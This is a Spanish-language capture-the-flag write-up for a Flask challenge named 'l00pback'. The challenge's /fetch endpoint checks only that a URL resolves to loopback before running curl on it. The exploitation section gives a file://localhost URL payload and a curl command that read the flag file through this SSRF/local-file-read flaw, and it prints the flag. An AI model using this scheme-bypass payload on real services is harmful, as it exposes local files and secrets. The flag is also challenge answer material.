l00pback

Creado por l1nvx

Reconocimiento

El reto “l00pback” nos presenta una aplicación web hecha en Flask que corre sobre un contenedor Docker. Al revisar los archivos del challenge encontramos un `app.py` sencillo con dos endpoints:

- `/` que sólo devuelve un mensaje de estado.
- `/fetch` que recibe un parámetro `url` y ejecuta `curl` contra él.

La pista más grande viene tanto en el nombre del reto como en la descripción repetitiva “Loopback, Loopback, Loopback…”, que sugiere que todo gira alrededor de direcciones de loopback (`127.0.0.1` o `localhost`).

El código de `/fetch` luce así:

```python
@app.get("/fetch")
def fetch():
    url = request.args.get("url", "").strip()
    if not url:
        return {"error": "missing url parameter"}, 400

    parsed = urlparse(url)
    ip = socket.gethostbyname(parsed.hostname)
    ip_obj = ipaddress.ip_address(ip)
    if ip_obj.is_loopback:
        proc = subprocess.run(
            ["curl", "-sS", "--max-time", "10", url],
            capture_output=True,
            text=True,
            timeout=12
        )
```

El flujo nos dice que:

1. La app toma la URL del querystring.
2. Resuelve el hostname y comprueba que sea loopback.

3. Si pasa la validación, ejecuta `curl` con la URL original.
4. Devuelve la salida del comando.

A primera vista, parece seguro: sólo permite hablar con `localhost`. Pero el error está en que no se valida el esquema de la URL. `curl` no sólo soporta `http(s)`, también entiende `file://`.

En otras palabras, podemos leer cualquier archivo local del contenedor a través del endpoint `/fetch`. Es una variante de SSRF con acceso a `file://`, que se traduce en un **LFI (Local File Inclusion)**.

Explotación

Ya que el Dockerfile del reto copia la flag a `/home/hacker/flag.txt`, basta con pedirla directamente:

```
/fetch?url=file://localhost/home/hacker/flag.txt
```

Ejemplo con `curl`:

```
curl https://loopback.ahauteam.org/fetch?url=file://localhost/home/hacker/flag.txt
```

```
~/Documents ❯ curl https://loopback.ahauteam.org/fetch?url=file://localhost/home/hacker/flag.txt
AHAU{l00pb4cks_ar3_1ns4n3}
```

Obteniendo de esta manera la flag del reto:

```
AHAU{l00pb4cks_ar3_1ns4n3}
```